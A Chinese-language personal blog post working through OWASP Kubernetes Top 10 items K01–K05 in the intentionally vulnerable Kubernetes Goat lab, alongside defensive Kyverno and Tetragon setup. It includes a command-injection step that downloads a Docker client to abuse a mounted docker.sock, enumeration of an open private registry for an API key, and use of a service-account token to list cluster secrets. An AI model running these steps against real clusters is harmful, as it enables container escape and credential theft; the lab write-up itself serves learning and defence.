f10@t's blog

K8s攻防之OWASP-K8S-TOP10(上)

字数统计: 6.9k阅读时长: 30 min
2023/09/16

之前入门学习了k8s集群环境的搭建和基本概念包括框架、网络模型,部署与动态扩展服务的方法:

回归安全的课题上来,云安全本质上是传统安全在云原生环境下的重新思考。作为业内事实标准,k8s可以提供服务管理、扩容等诸多功能,是提供云原生能力的基石。

因此后面计划首先学习云安全分支下的k8s安全,并同时学习docker中的常见安全问题。这篇先学习OWASP Kubernetes Top Ten的前五个。

K8S环境准备

仍然使用之前博客中搭建好的环境,一共三台CentOS 7的虚拟机,其IP和角色分别如下:

  • 10.10.10.101(Master)
  • 10.10.10.102(node-1)
  • 10.10.10.103(node-2)

这里有一个小插曲,打开后发现我的kubelet服务没有起来,提示客户端证书过期了

kubeadm检查一下,还真是

解决方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 备份旧证书
cd /etc/kubernetes/pki/
mkdir 2023-09-16-pki-backup
mv *.key *.crt sa.pub etcd/ 2023-09-16-pki-backup/

# 重新生成证书
kubeadm init phase certs all

# 备份历史配置文件
cd /etc/kubernetes
mkdir 2023-09-16-k8s-backup
mv *.conf 2023-09-16-k8s-backup/

# 重新生成配置文件
kubeadm init phase kubeconfig all

# 更新管理员配置文件以确保kubectl的正常使用
cp -i /etc/kubernetes/admin.conf $HOME/.kube/config

这时候查看kubelet状态就恢复了:

However,这时候从节点还是g的:

这是因为这两节点的kubelet.conf还没有更新,下面做更新操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 筛选Kube-scheduler的容器
docker ps -a | grep kube-scheduler | awk ‘{print $1}’
docker rm -f 上述容器

# 等待重启状态恢复到1/1
kubectl get pods -n kube-system | grep scheduler

# 分别生成从节点的kebelet.conf文件(版本号、节点名称需要改成你自己的)并拷贝
kubeadm init --kubernetes-version=v1.22.2 phase kubeconfig kubelet --node-name k8s-node01 --kubeconfig-dir ~/
scp ~/kubelet.conf k8s-node01:/etc/kubernets/

kubeadm init --kubernetes-version=v1.22.2 phase kubeconfig kubelet --node-name k8s-node01 --kubeconfig-dir ~/
scp ~/kubelet.conf k8s-node02:/etc/kubernets/

# 重启所有虚拟机
reboot

然后就恢复了:

这个问题属于K8s证书过期的日常问题,这里我是手动解决的。查阅资料过程中发现也有其它自动化解决手段,什么自动证书轮转,这里暂时不继续探究。

Kubernetes goat环境搭建

  1. 安装k8s包管理器-Helm,类似apt和yum,用于向K8s中安装云原生应用

    1
    2
    # 使用国内的helm charts源
    helm repo add appstore https://charts.grapps.cn
  2. 克隆k8s-goat

    1
    2
    3
    git clone https://github.com/madhuakula/kubernetes-goat.git
    cd kubernetes-goat
    bash setup-kubernetes-goat.sh

安装结果如下:

稍等一会儿后,可以看到当前活动的pods:

最后运行access-kubernetes-goat.sh脚本即可完成环境搭建:

这里又出问题了,但是我自己环境的问题,这部分可以忽略。

执行后我并没有看到出现新的Pod,且端口不可访问,因为原脚本将输出重定向到了null。因此单独执行命令后发现如下问题,目前尚未解决,已发起issue提问:

考虑到这里只是想要转发一个端口,因此我自己重新写了一下这个脚本,换为expose的方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/bin/bash
# Author: lzwigter<float311@163.com>
# This program has been created as part of Kubernetes Goat, but using expose instead of using port-forward,
# Kubernetes Goat Access vulnerable infrastructure

# Checking kubectl setup
kubectl version --short > /dev/null 2>&1
if [ $? -eq 0 ];
then
echo "kubectl setup looks good."
else
echo "Please check kubectl setup."
exit;
fi

echo 'Creating service expose for all the Kubernetes Goat resources to locally.'

# Exposing Sensitive keys in code bases Scenario
# export POD_NAME=$(kubectl get pods --namespace default -l "app=build-code" -o jsonpath="{.items[0].metadata.name}")
# kubectl port-forward $POD_NAME --address 0.0.0.0 1230:3000 > /dev/null 2>&1 &
kubectl expose deployment build-code-deployment --port 3000 --type=NodePort

# Exposing DIND (docker-in-docker) exploitation Scenario
#export POD_NAME=$(kubectl get pods --namespace default -l "app=health-check" -o jsonpath="{.items[0].metadata.name}")
#kubectl port-forward $POD_NAME --address 0.0.0.0 1231:80 > /dev/null 2>&1 &
kubectl expose deployment health-check-deployment --port 80 --type=NodePort

# Exposing SSRF in K8S world Scenario
# export POD_NAME=$(kubectl get pods --namespace default -l "app=internal-proxy" -o jsonpath="{.items[0].metadata.name}")
# kubectl port-forward $POD_NAME --address 0.0.0.0 1232:3000 > /dev/null 2>&1 &
kubectl expose deployment internal-proxy-deployment --port 3000 --type=NodePort

# Exposing Container escape to access host system Scenario
# export POD_NAME=$(kubectl get pods --namespace default -l "app=system-monitor" -o jsonpath="{.items[0].metadata.name}")
# kubectl port-forward $POD_NAME --address 0.0.0.0 1233:8080 > /dev/null 2>&1 &
kubectl expose deployment system-monitor-deployment --port 8080 --type=NodePort

# Exposing Kubernetes Goat Home
# export POD_NAME=$(kubectl get pods --namespace default -l "app=kubernetes-goat-home" -o jsonpath="{.items[0].metadata.name}")
# kubectl port-forward $POD_NAME --address 0.0.0.0 1234:80 > /dev/null 2>&1 &
kubectl expose deployment kubernetes-goat-home-deployment --port 80 --type=NodePort

# Exposing Attacking private registry Scenario
# export POD_NAME=$(kubectl get pods --namespace default -l "app=poor-registry" -o jsonpath="{.items[0].metadata.name}")
# kubectl port-forward $POD_NAME --address 0.0.0.0 1235:5000 > /dev/null 2>&1 &
kubectl expose deployment poor-registry-deployment --port 5000 --type=NodePort

# Exposing DoS resources Scenario
# export POD_NAME=$(kubectl get pods --namespace big-monolith -l "app=hunger-check" -o jsonpath="{.items[0].metadata.name}")
# kubectl --namespace big-monolith port-forward $POD_NAME --address 0.0.0.0 1236:8080 > /dev/null 2>&1 &
kubectl expose deployment hunger-check-deployment -n big-monolith --port 8080 --type=NodePort

echo "Check kubectl get svc -o wide and visit app kubernetes-goat-home-deployment"

上面红框中的home服务为入口:

OWASP Kubernets Top 10

K01: Insecure Workload Configurations

定义

OWASP中的定义说明如下:

Kubernetes manifests contain many different configurations that can affect the reliability, security, and scalability of a given workload. These configurations should be audited and remediated continuously.

其实类似于通常我们使用yaml文件格式来部署deployment、service等资源,因此若这些文件中存在不安全的配置则会导致安全问题,其实感觉比较像OWASP Top 10中的A05:2021-Security Misconfiguration

具体来说OWASP给出了如下例子:

  • 应用不应运行在Root权限(Application processes should not run as root)

    原因在于,如果这个容器被攻陷了,那么攻击者就拥有了root权限,可以拥有如新建进程的权限。下面是一个错误的示例文件:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    apiVersion: v1  
    kind: Pod
    metadata:
    name: root-user
    spec:
    containers:
    ...
    securityContext:
    #root user:
    runAsUser: 0 # 这里将该Pod的用户权限设置为了root
    #non-root user:
    runAsUser: 5554
  • 应使用只读权限(Read-only filesystems should be used)

    为了避免攻击者从失陷容器向主机写入文件,应该使用只读选项,如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    apiVersion: v1  
    kind: Pod
    metadata:
    name: read-only-fs
    spec:
    containers:

    securityContext:
    #read-only fs explicitly defined
    readOnlyRootFilesystem: true # 打开只读
  • 禁止使用提权容器(Privileged containers should be disallowed)

    当容器用户为root且容器自身为提权容器会导致攻击者可以直接访问主机,若非root则会受到一定限制。因此要避免设置为提权容器。错误示例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    apiVersion: v1  
    kind: Pod
    metadata:
    name: privileged-pod
    spec:
    containers:
    ...
    securityContext:
    #priviliged
    privileged: true
    #non-privileged
    privileged: false

对应k8s-goat场景:DIND (docker-in-docker) exploitation

下图为官方的攻击场景示意图,初步判断该攻击是利用主机上的docker.sock进行的。

该攻击方法从战术上属于Initial Access,技术上属于Application Vulnerbility

下面正式分析,首先访问对应端口:

这个应用对应的是health-check,根据场景介绍,我们的目标是逃出这个容器并访问所在主机。上帝视角先看一下这个pod的情况:

位于我集群中第二个节点上。

预备知识:关于docker.sock

docker.sock是一个socket文件,我们平常新建容器等用到的docker命令本质上是一个客户端,通过向docker daemon发出请求以管理容器。如下图:

而docker daemon监听的方式也有两种:

  • UNIX 域套接字
  • TCP 端口监听

前者会在本地创建一个/var/run/docker.socket,仅用于本机上不同进程之间的网络通信。而后者则支持其他机器的操作。默认情况下,docker使用的是UNIX域套接字,我们可以使用docker -H参数来进行指定,如:

这两条命令结果是一样的,因为默认就是走的本地的UNIX域套接字。当然也可以走TCP,这里访问一下我屋里orangepi上的docker:

首先使用dockerd -H tcp://0.0.0.0:2375打开一个在2375端口上tcp监听的docker daemon

可以看到输出也提示了这样的做法是不安全的,然后我们远程连接:

证明了我们拥有了管理远程机器docker容器的能力。

利用

看一下页面,提供了一个ping的功能:

Web人说话了,命令注入白?

还真是,还是root妈诶。那下面我们就得考虑怎么从这个容器出去了,站在上帝视角上,我们再看看这个pods的详情:

在详情中我们看到了该容器挂载了所在主机的/var/run/docker.sock。在前述预备知识下,这里就知道了要利用docker.sock的作用以及docker -H

回到网页,我们先用mount命令查看挂载内容判断是否存在docker.sock

可以看到UNIX域套接字的socket,但是当前容器中没有安装docker客户端:

Ok点题了,所以叫DIND,我们得给这个容器里下一个客户端了。官方提供了下载列表供我们直接使用:https://download.docker.com/linux/static/stable/x86_64/。因此分别执行命令:

1
2
3
4
# 下载客户端
; wget https://download.docker.com/linux/static/stable/x86_64/docker-24.0.6.tgz -O /home/docker.tgz
# 解压使用
; tar -zvxf /home/docker.tgz -C /home/

然后我们就可以使用那个挂载的socket了:

到这里结束,我们就获得了运行该容器的主机上的所有运行容器,完成了一定的信息收集。并可根据此进一步去访问其他容器资源。

问题原因

从该deployment的配置文件中就可以看到,能出现这个问题本质原因就在于该容器是提权了的。此外也没有对主机文件访问做可读限制,导致了我们可以下载一个docker客户端,从而完成DIND攻击。

参考学习

K02: Supply Chain Vulnerabilities

定义

这个之前有听过类似的名词:镜像投毒,这个攻击也是类似的。由于容器由大量的第三方组件组成,因此这些组件若有问题,那么这个容器就存在失陷的风险。

官方给了三个类型:

  • 镜像完整性(Image Integrity):

    Software provenance has recently attracted significant attention in the media due to events such as the Solarwinds breach and a variety of tainted third-party packages. These supply chain risks can surface in various states of the container build cycle as well as at runtime inside of Kubernetes. When systems of record do not exist regarding the contents of a container image it is possible that an unexpected container may run in a cluster.

    即源镜像被污染了,比如上面提到的例子,npm包中被插入了恶意代码。

  • 镜像组成(Image Composition):

    A container image consists of layers, each of which can present security implications. A properly constructed container image not only reduces attack surface, but can also increase deployment efficiency. Images with extraneous software can be leveraged to elevate privileges or exploit known vulnerabilities.

    这里感觉更多说的镜像由多个不同的部分组成,比如os、软件等,组成越复杂,其攻击面、可利用的可能性越大。因此我们要尽量精简化,如使用最小化的OS,目的是降低攻击面。

  • 已知软件漏洞(Known Software Vulnerabilities):

    Due to their extensive use of third-party packages, many container images are inherently dangerous to pull into a trusted environment and run. For example, if a given layer in an image contains a version of OpenSSL that is susceptible to a known exploit it may be propagated to several workloads and unknowingly put an entire cluster at risk.

    即镜像中使用了有漏洞的第三方包,比如OpenSSL有问题等。已经有了一些扫描容器镜像的工具如Clair and trivy

对应k8s-goat场景:Attacking private registry

下图为官方的攻击场景示意图,初步判断该攻击是对该容器所依赖的上游镜像进行了篡改。

该攻击方法从战术上属于Initial Access,技术上属于Compromised image in registry

下面正式分析,首先访问对应端口:

image-20230918222854330

这个应用对应的是poor-registry,根据场景介绍,我们的目标是寻找一个k8s-goat-开头的flag。

预备知识:关于docker registry

docker registry是用来存放docker镜像的地方,有公开的,也有私有的。公开的如Docker Hub,私人的比如阿里云控制台可以管理的个人实例。还是那个图,最右侧就是docker registry服务:

对于私有的镜像,我们也可以自己搭建一个私有的registry服务,通常运行在5000端口上。搭建完成后我们就可以通过pullpush等命令管理该registry上的私有镜像。

此外,该服务提供了docekr服务端提供的RESTful风格的接口,使用方法官方文档:HTTP API V2 | Docker Docs

利用

打开页面,我们访问/v2,返回200则说明是支持v2版本的API的:

我们可以利用API接口列出所有镜像:

我们分别读取这两个镜像的manifest文件以收集信息:

没什么特别的信息,查看另一个:

可以看到有API_KEY信息,即题目的flag。

问题原因

由于该私有镜像源是开放的,因而我们可以列举已有镜像的信息,从而获得一些隐私信息,如配置过程中的KEY、软件版本等等。此外,我们也可以上传一个同名的镜像以实现供应链攻击。因此我们也要保护私有镜像源的安全性,防止供应链攻击。

参考学习

K03: Overly Permissive RBAC

定义

其实就是过度授权,老生常谈的问题只不过是新的场景——K8S中的RBAC(Role-Based Access Control )。K8S将资源(Pod、Service、Nodes等)和动作(get、create、delete等)绑定起来,并划分得到不同的角色身份,以此来控制权限。

Configuring RBAC with least privilege enforcement is a challenge for reasons we will explore below.

那这件事困难吗?从OWASP给的解释来看,我认为困难点在于资源数量的庞大因而导致了配置的困难:

RBAC is an extremely powerful security enforcement mechanism in Kubernetes when appropriately configured but can quickly become a massive risk to the cluster and increase the blast radius in the event of a compromise.

为了了解这部分内容,首先需要了解K8S中的RBAC。K8S的RBAC定义了四种对象:

  • Role
  • ClusterRole
  • RoleBinding
  • ClusterRoleBinding

其中,前两个xxxRole包含了“允许”执行的操作内容(可以理解为“操作白名单”)。区别从名字大概也能判断出来:

  • Role必须定义在一个Namespace中,而ClusterRole则在整个集群中通用,因而不属于任何Namespace
  • ClusterRole可以用于定义对Namespace资源(如Pods)、集群范围资源(如Node)、endpoint(如HTTP API接口)的权限,并授予其他单个命名空间和跨命名空间的访问权限;而Role则只作用于单个Namespace

如下是官方给的RoleClusterRole例子:

1
2
3
4
5
6
7
8
9
apiVersion: rbac.authorization.k8s.io/v1
kind: Role # 定义了一个可以访问Pods信息的Role角色
metadata:
namespace: default
name: pod-reader
rules:
- apiGroups: [""] # "" indicates the core API group
resources: ["pods"]
verbs: ["get", "watch", "list"]
1
2
3
4
5
6
7
8
9
10
11
12
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole # 定义了一个可以访问`secrets`的ClusterRole角色
metadata:
# "namespace" omitted since ClusterRoles are not namespaced
name: secret-reader
rules:
- apiGroups: [""]
#
# at the HTTP level, the name of the resource for accessing Secret
# objects is "secrets"
resources: ["secrets"]
verbs: ["get", "watch", "list"]

有了两个身份后,我们还有RoleBindingClusterRoleBinding可以基于前述两个身份对象,绑定到一个或多个用户,这样他们就拥有了对应的权限。二者区别在于前者用于授权一个Namespace范畴的权限,而后者可以授权整个集群范围内的。

官方也给出了例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
apiVersion: rbac.authorization.k8s.io/v1
# This role binding allows "jane" to read pods in the "default" namespace.
# You need to already have a Role named "pod-reader" in that namespace.
kind: RoleBinding
metadata:
name: read-pods
namespace: default
subjects:
# You can specify more than one "subject"
- kind: User
name: jane # "name" is case sensitive
apiGroup: rbac.authorization.k8s.io
roleRef:
# "roleRef" specifies the binding to a Role / ClusterRole
kind: Role #this must be Role or ClusterRole
name: pod-reader # this must match the name of the Role or ClusterRole you wish to bind to
apiGroup: rbac.authorization.k8s.io
1
2
3
4
5
6
7
8
9
10
11
12
13
apiVersion: rbac.authorization.k8s.io/v1
# This cluster role binding allows anyone in the "manager" group to read secrets in any namespace.
kind: ClusterRoleBinding
metadata:
name: read-secrets-global
subjects:
- kind: Group
name: manager # Name is case sensitive
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: secret-reader
apiGroup: rbac.authorization.k8s.io

回到问题本身。具体地,官方也给出了三个错误的案例:

  • 不必要的最高权限cluster-admin(Unnecessary use of cluster-admin)

    如下,将默认的最高权限用户cluster-adminClusterRole身份以ClusterRoleBinding的方式授权给了默认命名空间内的所有资源。假设一个default空间内的pod被攻陷了,那么将直接拥有集群最高的权限。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    apiVersion: rbac.authorization.k8s.io/v1beta1
    kind: ClusterRoleBinding
    metadata:
    name: redacted-rbac
    subjects:
    - kind: ServiceAccount
    name: default
    namespace: default
    roleRef:
    kind: ClusterRole
    name: cluster-admin
    apiGroup: rbac.authorization.k8s.io
  • 不必要的LIST权限(Unnecessary use of LIST permission)

    官方在官网中给了一段场景示例,关键部分:

    1
    2
    3
    4
    5
    6
    kubectl create serviceaccount only-list-secrets-sa
    kubectl create role only-list-secrets-role --verb=list --resource=secrets
    kubectl create rolebinding only-list-secrets-default-ns \
    --role=only-list-secrets-role --serviceaccount=default:only-list-secrets-sa
    # 创建一个秘密
    kubectl create secret generic abc --from-literal=secretAuthToken=verySecure123

    首先创建了一个服务账户only-list-secrets-sa并创建了包含LIST权限的only-list-secrets-role,然后创建了名为noly-olist-secrest-default-nsrolebingdingonly-list-secrets-role授予了默认命名空间内的服务账户only-list-secrets-sa

    由于该服务账户没有GET权限,因此可以验证无法读取秘密:

    然而由于LIST权限的存在,使得可以列出所有的信息:

    由于创建Role时候增加了list权限,从而导致攻击者可以利用该权限列出对应命名空间内所有数据:

    Accounts with LIST permission cannot get a specific item from the API, but will get all of them in full when they list.

  • 不必要的WATCH权限(Unnecessary use of WATCH permission)

    LIST类似,WATCH也可以查看所有数据:

    kubectl create role only-watch-secrets-role --verb=watch --resource=secrets

对应k8s-goat场景:RBAC least privileges misconfiguration

该攻击方法从战术上属于Credential Access,技术上包含List K8S secretsContainer service account

下面正式分析,首先访问对应端口:

是一个网页版的shell,对应命名空间big-monolith下的应用hunger-check。根据场景介绍,我们的目标是获取k8s_goat_flag,其位于k8svaultapikey中。

预备知识

对于k8s环境中存在的pod,我们怎么从pod内部使用到k8s的API呢?官方提供了四种方式。

  • 使用官方的k8s客户端:类似DIND,可以下载使用官方的k8s客户端。

  • 直接访问RESTful API:

    • 环境变量中存在KUBERNETES_SERVICE_HOSTKUBERNETES_SERVICE_PORT_HTTPS。且k8s也在集群中部署了名为kubernetes的服务,提供kubernetes.default.svc到API服务器的域名解析服务。

    • 官方推荐使用ServiceAccount来认证使用API,如:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      # 定义ServiceAccount
      apiVersion: v1
      kind: ServiceAccount
      metadata:
      name: build-robot
      ...

      # 使用ServiceAccont定义pod
      apiVersion: v1
      kind: Pod
      metadata:
      name: my-pod
      spec:
      serviceAccountName: build-robot

      若以这种方式,则k8s会在pod中创建:

      • /var/run/secrets/kubernetes.io/serviceaccount/token:认证token
      • /var/run/secrets/kubernetes.io/serviceaccount/ca.crt:证书
      • /var/run/secrets/kubernetes.io/serviceaccount/namespace:使用API时默认的namespace

      这种情况下,pod内容器就可以使用配置文件定义好的ServiceAccount权限去访问kubernetes.default.svc了。

  • 使用kubectl proxy:使用该命令开启一个sidecar模式的pod,kubectl proxy在pod内开启一个监听端口并负责与API服务器进行认证,因而该pod内的所有容器就可以通过该端口访问API服务了

  • 直接传递认证token:和第二种有点类似,只不过我们是手动传递的token,一个简单脚本如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    # 设置API服务器的域名,域名解析会由kubernets服务执行
    APISERVER=https://kubernetes.default.svc
    # 设置ServiceAccount文件的路径
    SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount

    # 获取Pod的namespace、token、证书
    NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
    TOKEN=$(cat ${SERVICEACCOUNT}/token)
    CACERT=${SERVICEACCOUNT}/ca.crt

    # 访问api
    curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api

利用

那先找k8s api的服务器地址嘛,不然怎么用API。从环境变量中可以看到:

好,可以用,但是我们怎么知道这个pod对应的服务账号呢?这里选用前述预备知识中直接传递认证token的方式。进入/var/run/目录可以看到一个secrets目录,其下就是token、证书和默认namespace了:

然后我们基于这三个内容以及前面环境变量中看到的地址来访问API:

可以看到访问成功,curl --cacert ${CACRT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1查看有哪些资源:

可以找到一个叫secrets的资源,尝试访问curl --cacert ${CACRT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/secrets

不能直接访问,但发现该资源拥有list和watch权限,那么就想到了利用list或watch的方法来读取全部信息,这里使用list。在v1后加上命名空间的路径,即v1/namespace/${NAMESPACE}/secrets

可以看到,我们虽然没有权限访问secrets下的某个条目,但是我们可以利用LIST直接把所有信息都列举出来,最后找到题目所需关键字并解码:

更多k8s RESTful API的使用:Kubernetes API | Kubernetes

问题原因

去看一下配置文件:

参考学习

K04: Lack of Centralized Policy Enforcement

定义

由于安全策略的管理位于一个中心实体,因而难以在资源数量(k8s集群、云服务器)过于庞大的情况下、分发和强制性执行安全策略。

针对上述问题,k8s策略强制实施机制(Kubernetes policy enforcement)可以通过少量的配置就实现在多个集群、多个云的基础设施上实现:管理(governance)、实施(compliance)和安全配置(security requireents)。

如下是一个来自gatekeeper拒绝来自不可信的镜像源的镜像的配置文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Allowed repos
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sAllowedRepos
metadata:
name: allowed-repos
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
namespaces:
- "sbx"
- "prd"
parameters:
repos: # 只允许来自如下两个镜像源的镜像
- "open-policy-agent"
- "ubuntu"

此外,这类配置资源方案(其他的如Kyverno、Kubewarden等)还可以确保已经发生错误配置的pod不会被集群继续调度产生。比如Deployment。

对应k8s-goat场景:Securing Kubernetes Clusters using Kyverno Policy Engine

下图为官方的攻击场景示意图,初步判断该通过名为Kyverno的策略引擎抵挡了攻击者对valut命名空间内的pod的命令执行请求。

预备知识

首先需要了解什么是k8s中的准入控制器——dynamic admission controller:

An admission controller is a piece of code that intercepts requests to the Kubernetes API server prior to persistence of the object, but after the request is authenticated and authorized.——Admission Controllers Reference | Kubernetes

等于是一个拦截请求并对其进行认证的拦截器,可以拦截的请求动作包括:

  • create、delete、modify或其他自定义的动词(如通过kube proxy连接pod)

但也包括一些不能够拦截的动作:

  • get、watch、list

其具体的动作包括:

  • validating:并行调用所有的验证的webhook,只要有一个不通过就不通过
  • mutating:串行调用所有修改的webhook,挨个修改该请求
  • both:混合前两者

关于Kyverno(希腊语,意味Govern) —— Kyverno is a policy engine designed for Kubernetes.

Github: kyverno/kyverno: Kubernetes Native Policy Management (github.com)

而Kyverno可以作为k8s集群的动态准入控制器dynamic admission controller),可以通过Helm包管理器进行安装:

1
2
3
4
5
6
7
# 添加chart源
helm repo add kyverno https://kyverno.github.io/kyverno/
# 更新并安装
helm repo update
helm install kyverno kyverno/kyverno -n kyverno --create-namespace
# 如果要卸载也很简单
helm uninstall kyverno kyverno/kyverno -n kyverno

安装结果:

安装结束后,就可以通过编写yaml的格式来定义策略了。官方有详尽的指南:Policies and Rules | Kyverno。Kyverno可以定义集群范围的策略ClusterPolicy或指定命名空间内的策略Policy,而具体的结构可以用下面的一张图来概括:

使用

这里主要学习如何编写Kyverno策略配置文件,禁止用户使用exec命令进入指定容器。

kubectl apply -f https://raw.githubusercontent.com/madhuakula/kubernetes-goat/master/scenarios/kyverno-namespace-exec-block/kyverno-block-pod-exec-by-namespace.yaml

文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: deny-exec-in-vault-namespace
annotations:
policies.kyverno.io/title: Block Pod Exec in Vault Namespace
policies.kyverno.io/category: Sample
policies.kyverno.io/minversion: 1.6.0
policies.kyverno.io/subject: Pod
policies.kyverno.io/description: >-
The `exec` command may be used to gain shell access, or run other commands, in a Pod's container. While this can be useful for troubleshooting purposes, it could represent an attack vector and is discouraged to use in the `vault` namespace. This policy blocks Pod exec commands to Pods in a Namespace called `vault`.
spec:
validationFailureAction: Enforce
background: false
rules:
- name: deny-exec-ns-vault
match: # 定义匹配规则
any:
- resources:
kinds:
- Pod/exec
preconditions:
all:
- key: "{{ request.operation || 'BACKGROUND' }}"
operator: Equals
value: CONNECT
validate:
message: 🚨 Pods in vault namespace should not be exec'd into. It has Kubernetes Goat 🐐 secrets 🔥
deny: # 拒绝策略
conditions:
any:
- key: "{{ request.namespace }}"
operator: Equals
value: vault

此时我们访问就会拒绝了:

此外,Kyverno官方也提供了很多这样的策略例子供我们选择,Policies | Kyverno

参考学习

K05: Inadequate Logging and Monitoring

定义

这部分也是工具的学习。在k8s中,一些事件默认是不会出现在日志中或者被监控,包括:

  • 认证失败、敏感资源访问、手动删除或修改k8s资源
  • 运行中负载的日志

此外,没有开启日志记录、日志有没有被集中存储且是否可以实现防篡改、报警阈值设置是否合理。上述情况或问题都可能会导致攻击者的行径没有被记录下来,从而对溯源造成了困难。因此OWASP建议如下类型日志都应开启并合理配置:

  • k8s审计日志:记录API调用
  • k8s事件:记录资源状态的更改和错误
  • 应用&容器日志:容器内部运行的应用程序自行记录应用程序的日志
  • 操作系统日志:如journalctl命令
  • 云提供商日志
  • 网络日志

对应k8s-goat场景:Cilium Tetragon - eBPF-based Security Observability and Runtime Enforcement

使用

Tetragon是一个基于eBPF技术的运行时安全检测组件,具有如下特点:

  • 实时性:Tetragon is a runtime security enforcement and observability tool. What this means is Tetragon applies policy and filtering directly in eBPF in the kernel.
  • 灵活性:Tetragon can hook into any function in the Linux kernel and filter on its arguments, return value, associated metadata that Tetragon collects about processes (e.g., executable names), files, and other properties.
  • 内核信息可读:Tetragon, through eBPF, has access to the Linux kernel state.

安装依然直接使用helm安装:

1
2
3
4
5
6
# 添加软件源
helm repo add cilium https://helm.cilium.io
# 更新并安装
helm repo update && helm install tetragon cilium/tetragon -n kube-system
# 检查tetragon的pod状态
kubectl rollout status -n kube-system ds/tetragon -w

安装结果:

具体Tetragon的使用方法、原理这里不做赘述,官方文档:Overview | Tetragon (cilium.io)。下图为Tetragon架构示意图:

参考学习

CATALOG
  1. 1. K8S环境准备
  2. 2. Kubernetes goat环境搭建
  3. 3. OWASP Kubernets Top 10
    1. 3.1. K01: Insecure Workload Configurations
      1. 3.1.1. 定义
      2. 3.1.2. 对应k8s-goat场景:DIND (docker-in-docker) exploitation
      3. 3.1.3. 预备知识:关于docker.sock
      4. 3.1.4. 利用
      5. 3.1.5. 问题原因
      6. 3.1.6. 参考学习
    2. 3.2. K02: Supply Chain Vulnerabilities
      1. 3.2.1. 定义
      2. 3.2.2. 对应k8s-goat场景:Attacking private registry
      3. 3.2.3. 预备知识:关于docker registry
      4. 3.2.4. 利用
      5. 3.2.5. 问题原因
      6. 3.2.6. 参考学习
    3. 3.3. K03: Overly Permissive RBAC
      1. 3.3.1. 定义
      2. 3.3.2. 对应k8s-goat场景:RBAC least privileges misconfiguration
      3. 3.3.3. 预备知识
      4. 3.3.4. 利用
      5. 3.3.5. 问题原因
      6. 3.3.6. 参考学习
    4. 3.4. K04: Lack of Centralized Policy Enforcement
      1. 3.4.1. 定义
      2. 3.4.2. 对应k8s-goat场景:Securing Kubernetes Clusters using Kyverno Policy Engine
      3. 3.4.3. 预备知识
      4. 3.4.4. 使用
      5. 3.4.5. 参考学习
    5. 3.5. K05: Inadequate Logging and Monitoring
      1. 3.5.1. 定义
      2. 3.5.2. 对应k8s-goat场景:Cilium Tetragon - eBPF-based Security Observability and Runtime Enforcement
      3. 3.5.3. 使用
      4. 3.5.4. 参考学习